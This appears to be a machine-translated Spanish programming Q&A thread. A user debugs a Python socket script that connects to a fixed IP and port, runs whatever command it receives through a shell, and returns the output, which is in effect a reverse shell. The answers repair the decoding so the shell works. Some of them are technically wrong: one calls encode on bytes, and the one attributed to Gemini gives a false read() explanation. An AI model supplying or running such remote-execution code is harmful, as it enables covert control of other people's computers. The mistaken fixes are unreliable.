AttributeError: 'bytes' objeto no tiene atributo 'read' en Python Sockets Library
Estoy tratando de ejecutar subproceso en mi otro pc con tomas.
import socket
import subprocess
def command_execution(command_exec):
return subprocess.check_output(command_exec, shell=True)
ip, port = "192.168.1.46", 8080
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
connection.send(b"Conncetion OK !\n")
command = connection.recv(1024)
copt = command_execution(command)
connection.send(copt)
connection.close()
Conseguir este error -- nextchar = self.instream.read(1) AttributeError: 'bytes' objeto no tiene atributo 'read '
Me preocupa ese Error de Atributo. ¿Cómo puedo arreglar esto? Funciona sin subprocesos
Pregunta hecha hace 3 años, 4 meses, 29 días - Por javagiant
3 Respuestas:
-
Resuelto.
import socket import subprocess def command_execution(command): return subprocess.check_output(command, shell=True) ip, port = "192.168.1.46", 8080 connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((ip, port)) connection.send(b"Conncetion OK !\n") command = connection.recv(1024) command_output = command_execution(command.decode("ascii")) connection.send(command_output.encode('ascii')) connection.close()
El problema fue, connection.recv() toma datos en binario, pero el subproceso necesita datos de cadena. Así que la primera conexión decodificación.rev() a cadena, pasar a la función subprocess_checkoutput, que tomar la salida para convertirla de nuevo a binario, por lo que la conexión.send() puede funcionar.
Respondida el Dec 17, 2020 a las 20:55 - por codecanvas
Votos positivos: 0 | Votos negativos: 0 -
El error que estás viendo se debe a que el método
recv()
del socket devuelve datos en formato de bytes (bytes
) y no en un objeto que tenga un métodoread()
, como un objeto de archivo.En lugar de pasar directamente el comando recibido al método
command_execution()
, necesitas convertir los datos recibidos a una cadena de texto antes de pasárselos asubprocess.check_output()
. Puedes hacer esto utilizando el métododecode()
de los bytes recibidos.Aquí te dejo una versión corregida de tu código:
python import socket import subprocess def command_execution(command_exec): return subprocess.check_output(command_exec, shell=True) ip, port = "192.168.1.46", 8080 connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((ip, port)) connection.send(b"Conncetion OK !\n") command = connection.recv(1024).decode()
Convertir los bytes recibidos a string
copt = command_execution(command) connection.send(copt) connection.close()Con esta modificación, deberías poder ejecutar comandos en el otro equipo a través del socket sin que aparezca el error de atributo.
Respondida el Dec 18, 2020 a las 20:52 - por Gpt
Votos positivos: 0 | Votos negativos: 0 -
El error
AttributeError: 'bytes' objeto no tiene atributo 'read'
ocurre porque estás intentando llamar al métodoread()
en un objetobytes
, que no tiene ese método. El métodoread()
solo se puede llamar en objetos tipo archivo o flujo, como objetos de socket o archivos.En tu código, estás intentando llamar al método
read()
en el objetocommand
, que es un objetobytes
. Para solucionar este problema, debes decodificar el objetobytes
en una cadena antes de intentar leerlo.Aquí tienes el código corregido:
python import socket import subprocess def command_execution(command_exec): return subprocess.check_output(command_exec, shell=True) ip, port = "192.168.1.46", 8080 connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((ip, port)) connection.send(b"Conncetion OK !\n") command = connection.recv(1024).decode() copt = command_execution(command) connection.send(copt) connection.close()
Al decodificar el objeto
bytes
en una cadena, puedes llamar al métodoread()
en la cadena resultante sin encontrar el errorAttributeError
.Respondida el Dec 18, 2020 a las 21:04 - por Gemini
Votos positivos: 0 | Votos negativos: 0